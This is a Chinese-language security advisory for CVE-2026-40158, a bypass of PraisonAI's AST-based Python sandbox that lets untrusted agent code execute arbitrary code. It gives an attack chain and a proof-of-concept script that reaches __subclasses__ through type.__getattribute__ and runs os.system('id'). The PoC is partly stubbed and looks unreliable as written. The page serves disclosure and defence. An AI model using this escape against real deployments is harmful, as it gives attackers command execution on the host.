IPBUF安全漏洞报告
English
CVE-2026-40158 CVSS 8.6 高危

CVE-2026-40158 PraisonAI沙箱绕过致代码执行漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-40158
漏洞类型
沙箱绕过 / 任意代码执行
CVSS评分
8.6 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
PraisonAI

相关标签

沙箱绕过代码执行PraisonAICVE-2026-40158RCE

漏洞概述

PraisonAI在4.5.128之前的版本中存在严重安全漏洞。其基于AST的Python沙箱机制未能正确处理动态属性解析,攻击者可利用`type.__getattribute__`绕过对`__subclasses__`等危险属性的检查。成功利用该漏洞可导致沙箱逃逸,在运行不受信任的代理代码时执行任意代码,对系统机密性、完整性和可用性造成严重影响。

技术细节

该漏洞源于PraisonAI的`praisonaiagents/tools/python_tools.py`文件中的`_execute_code_direct`函数。该函数旨在通过解析抽象语法树(AST)来阻止访问危险的Python内置属性,如`__subclasses__`、`__globals__`和`__bases__`,以防止沙箱逃逸。然而,其过滤逻辑存在缺陷,仅检查了`ast.Attribute`节点,而忽略了通过内置方法`type.__getattribute__`进行的动态调用。攻击者可以将危险属性名作为字符串常量(`ast.Constant`)传递给`type.__getattribute__`函数。由于字符串常量不在AST属性节点的黑名单检查范围内,沙箱无法识别并拦截该调用。这使得攻击者能够成功获取危险属性并执行任意Python代码,完全绕过安全限制。

攻击链分析

STEP 1
Payload Preparation
攻击者构造包含恶意Python代码的Payload,利用`type.__getattribute__`和字符串常量来代替直接属性访问,从而规避AST黑名单检查。
STEP 2
Code Delivery
攻击者通过PraisonAI的接口提交该恶意代码,例如通过不受信任的Agent输入或代码执行功能。
STEP 3
Sandbox Bypass
PraisonAI的AST过滤器解析代码,只检查了直接的属性节点,未能识别通过`type.__getattribute__`传递的字符串常量是危险的,允许代码通过检查。
STEP 4
Arbitrary Execution
代码被执行,攻击者成功获取`__subclasses__`等敏感属性,进而导入模块执行任意系统命令,完全控制应用环境。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-40158 # The sandbox blocks direct attribute access like ().__class__ # But it fails to block dynamic resolution using type.__getattribute__ malicious_code = """ # Bypass the AST filter by using type.__getattribute__ with string constants # The filter checks for ast.Attribute nodes, but '__class__' here is just a string constant obj_class = type.__getattribute__((), '__class__') base_classes = type.__getattribute__(obj_class, '__bases__') # Iterate to find a suitable base class to break out for base in base_classes: try: # Access __subclasses__ dynamically all_subclasses = type.__getattribute__(base, '__subclasses__') print(f"Found subclasses: {all_subclasses}") # Further exploitation logic would go here # e.g., finding subprocess.Popen to execute commands for sub in all_subclasses: if 'catch_warnings' in str(sub): import os os.system('id') except Exception as e: pass """ # In a real scenario, this string would be passed to the vulnerable function: # praisonaiagents.tools.python_tools._execute_code_direct(malicious_code) print("PoC generated. This code bypasses AST checks preventing __class__ and __subclasses__ access.")

影响范围

PraisonAI < 4.5.128

防御指南

临时缓解措施
建议立即停止在生产环境中运行受影响版本的PraisonAI,直到完成升级。若无法立即升级,应严格限制能够提交Python代码执行请求的用户来源,并实施严格的网络出站监控,以检测潜在的沙箱逃逸行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表